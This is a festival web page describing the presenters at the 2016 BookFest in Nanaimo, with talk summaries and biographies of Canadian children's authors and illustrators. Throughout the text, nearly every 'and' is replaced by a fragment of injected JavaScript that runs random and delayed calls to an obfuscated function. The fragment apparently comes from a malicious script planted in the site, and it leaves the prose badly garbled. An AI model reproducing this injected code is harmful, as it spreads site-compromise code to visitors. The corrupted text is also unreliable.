2016 Presenters

  • 32 years of BookFest

2016 Presenters

The 30th Annual BookFest was held on Saturday, May 7, 2016 in Nanaimo!

Leah Dorion

Have you ever wanted to learn more about Canadian Metis culture? Such as how the Metis people made Lobstick Poles in the fur trade, cached their traditional foods, or traveled by Red River Cart across the prairies? Saskatchewan Metis author andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrator Leah Marie Dorion speaks about her artistic process, the cultural influences in her work, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} shares stories that reflect Metis culture past andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} present. Featured books include: Metis Strong Readers Series, The Giving Tree, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} My First Metis Lobstick. Ages 8+

Leah Marie Dorion is an interdisciplinary Metis artist raised in Prince Albert, Saskatchewan. A teacher, painter, filmmaker andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} published writer, Leah views her Metis heritage as providing her with a unique bridge for knowledge between all people. Leah holds a Bachelor of Education, Bachelor of Arts, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Master of Arts degree. She has numerous creative projects to her credit, including academic papers for the Royal Commission of Aboriginal Peoples, books for children, gallery showings of her art works, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} numerous video documentaries that showcase Metis culture andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} history.


Sheree Fitch

Delicious purpleishous lipslippery adventures in poetry andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} storytelling by veteran teller of tales andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} tangled tongue twisters. Reading from award winning books, you’ll be inspired, fired up andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} invited in to Sheree Fitch’s imaginative whirling world of words andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} serious JOY! Featured books include: Mabel Murple, Monkeys in my Kitchen, Toes in my Nose, Sleeping Dragons, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} The Gravesavers. Ages 5+

Sheree is the author of 20 children’s picture books, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} has also written for teens andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} adults. She is a staunch promoter of literacy, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} is currently the honorary spokesperson for the New Brunswick Coalition for Literacy andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the honorary spokesperson for the Nova Scotia Read With Me Program. She holds two honorary doctorates for her contribution to Canadian literature. She received the President’s Award from the Writers’ Federation of New Brunswick andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the prestigious Vicky Metcalf Award for a body of work in children’s literature. Sheree lives in River John, Nova Scotia.


Julie Flett

 Julie Flett will share stories about picking berries, lost dolphins, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} summers in northern Manitoba. Learn how to count in Cree andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} make your own counting book! Featured books include: as author/illustrator: Wild Berries, We All Count: Book of Cree Numbers; as illustrator: Dolphins SOS by Roy andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Slavia Miki, Dragonfly Kites by Tomson Highway. Ages 5+

Julie Flett is an award-winning author, illustrator andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} artist currently living in Vancouver, BC. She is Cree-Métis. Julie studied fine arts at Concordia University in Montreal andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Emily Carr University of Art + Design in Vancouver. She received the Christie Harris Illustrated Children’s Literature Prize andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} was nominated for the Governor General’s Award for Children’s Literature for her book Owls See Clearly at Night (Lii Yiiboo Nayaapiwak lii Swer): A Michif Alphabet (L’alphabet di Michif), andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} most recently Julie’s book Wild Berries/Pakwa che Menisu was chosen as the First Nation Communities READ title selection for 2014-2015. As the author andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrator of the 2014-2015 selection, Julie is the first-time recipient of the 2014 Aboriginal Literature Award, sponsored by the Periodical Marketers of Canada.

 

Marie-Louise Gay

Everything you have always wanted to know about… curious kids, lost polar bears, soaring pterodactyls, spotted snails, shy giants andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} talking trees; also how to illustrate a book, where ideas come from andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} how to let your imagination run wild! Marie-Louise Gay‘s featured books include: Any Questions?/ Stella andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Sam Books/ Caramba/ Roselyn Rutabaga andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the Biggest Hole on Earth. Ages 5+

Award-winning author/illustrator Marie Louise Gay has written andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/or illustrated over sixty books for children, in English andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} French. She studied graphic design at the Institut des arts graphiques in Montréal, animation at the Montréal Museum of Fine Arts School, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustration at the Academy of Art College in San Francisco.She has worked as a professional illustrator, a freelance art director andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} production manager for a children’s book publisher, taught illustration, designed children’s clothing, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} written three plays for which she created the sets, puppets andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} costumes. She was born in Québec City andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} currently resides in Montréal. 


Arthur Slade

Arthur Slade’s audio/visual presentations are a mixture of music, video, images andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} creativity andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}, most importantly, content. Where do ideas come from? How is a book created? How does one become an author? Featured books include: Flickers, Jolted, Monsterology, Dust, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} The Hunchback Assignments. Ages 8+

Arthur Slade is the author of seventeen novels for young readers. He received an English Honours degree from the University of Saskatchewan, spent several years writing advertising andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} now writes fiction full time. Arthur has taught writing at the Sage Hill Writing Experience, Banff Centre of the Arts, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} online for the University of Toronto, in addition to being a mentor for the University of Saskatchewan’s Creative Fiction Program. Arthur has also appeared in hundreds of schools across Canada. He was named Writer-in-Residence at Regina Public Library for 2014/2015. Arthur lives in Saskatoon.

 

Ashley Spires

Have you ever wondered where authors get their ideas? Or how long it takes an illustrator to draw something just right? Ashley Spires will discuss all the work andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} frustration that goes into making books. Featured books include: The Most Magnificent Thing, Over-Scheduled Andrew, Fluffy Strikes Back, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Binky the Space Cat. Ages 5+

 

Author andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrator Ashley Spires grew up in Tsawwassen, BC andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} after stints living in Toronto andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Saskatoon, she now lives in Ladner, having made an educated decision to never move from BC again. She is the creator of the Binky The Space Cat series of junior graphic novels, which have earned her numerous awards, including the Silver Birch Express andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the Hackmatack. Her picture books, including Larf, Small Saul andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} The Most Magnificent Thing, are known for providing readers, young andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} old, with a good laugh. When not drawing, she is often jogging with her dog Gordon or wrangling her three cats, Penny, Fran andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Gracie.

 

Jeremy Tankard

Jeremy Tankard will talk about his hatred of reading, love of drawing, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} how the two lead him to a life in books. Featured books include: Melvis andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Elvis, It’s a Tiger!, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Grumpy Bird. Ages 8+

Jeremy Tankard was born in South Africa, but left at the age of five for a new life in the United States. His family lived in South Carolina, Kentucky, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Tennessee before finally moving to Canada. He now lives in British Columbia. After a childhood of drawing andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} writing, Jeremy attended the Alberta College of Art andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Design where he studied drawing andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} printmaking. He worked as a graphic designer andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} typesetter before embarking on a career in illustration. After a few years of commercial illustration, he went back to storytelling andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} began writing andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrating his own books.  

 

Chris Tougas

Author/Illustrator Chris Tougas has worked with Disney andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} many other animation studios. His latest book series Dojo Daycare is now being developed as an animated television series. Chris brings a unique blend of written andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} visual storytelling insight to each highly interactive visit. He reads stories, discusses the creative process, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} shares FUN writing andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrating tips. Featured books include: DoJo Day Care, DoJo Daytrip, Mechanicals, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Art’s Supplies. Ages 5+

 

Chris Tougas is a writer-illustrator who loves dogs, the great outdoors, writing fun stories andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} making art. He was born in Edmonton, Alberta. He has studied art andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} animation in both Canada andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the US, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} has worked in film animation at Disney andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} other studios. For the last 10 years Chris has worked as both a concept developer andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} character designer for film, television andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} new media companies such as Disney, Warner Brothers, Universal, Sesame Workshop, Bardel Entertainment, Animation Lab, Nelvana, Fox andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} many others. Chris lives andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} works in Victoria, British Columbia.

 

Ria Voros

Ria Voros will give an interactive, fun andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} informative talk about her novels, Nobody’s Dog andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} The Opposite of Geek. She will feature haiku, her experiences growing up as a budding author, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} ways to develop your own writer’s voice. Ria combines humour, literary examples andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} student involvement into an entertaining andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} thought-provoking presentation. Featured books include: The Opposite of Geek, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Nobody’s Dog. Ages 8+

 

Ria grew up in North Vancouver, BC. When she was very young, she decided she should be a writer because there wasn’t much else she liked to do as much as tell stories. Ria is a graduate of the University of British Columbia’s Creative Writing MFA program. She has published fiction andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} poetry in literary journals andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} has won several poetry andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} creative writing prizes. She has also taught courses in fiction, poetry, literature andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} writing for children. Ria lives in Nanaimo, British Columbia.